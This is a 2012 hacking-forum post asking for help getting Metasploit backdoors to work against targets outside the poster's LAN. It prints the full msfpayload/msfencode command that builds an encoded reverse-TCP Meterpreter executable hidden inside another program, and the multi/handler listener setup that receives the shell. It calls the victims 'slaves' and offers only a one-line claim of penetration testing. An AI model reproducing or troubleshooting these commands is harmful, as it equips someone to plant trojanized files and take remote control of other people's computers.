Backdoor outside of LAN - help

General technological topics without their own forum go here

Backdoor outside of LAN - help

Post by -Ninjex- on Sun Sep 02, 2012 9:56 pm
([msg=69100]see Backdoor outside of LAN - help[/msg])


I have been using Backtrack 5 to create backdoor executable files using the reverse tcp payload (I used port 443).
I realized that this is only effective to slaves located in my LAN when using LHOST to my internal IP.
I tried switching to my external IP to try and make this affect targets outside of my LAN, but no luck.
I set up port forwarding to port 443 from inside my router settings.
It gives me a error and sets the listener to instead of using the external IP as it should.

I have been trying to resolve this issue for a while.
I even tried setting up an apache server from the backtrack services, and still no luck.
I also downloaded, extracted, and ran and tried it instead of using:

Creating the backdoor.exe file:

Code: Select all
msfpayload windows/meterpreter/reverse_tcp LHOST=108.248.*.* LPORT=443 R | msfencode -e x86/shikata_ga_nai -c 5 -t exe -x /root/Desktop/filenamehere.exe -o /root/Desktop/backdoor.exe

Enable the listener for port 443:
Code: Select all

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 108.248.*.*

set LPORT 443


and still no luck!!!!

This is for penetration testing on my end, all help is appreciated!

Thanks in advance,
For those that know
K: 0x2CD8D4F9
User avatar
Posts: 1691
Joined: Sun Sep 02, 2012 8:02 pm
Blog: View Blog (0)

Return to General

Who is online

Users browsing this forum: No registered users and 0 guests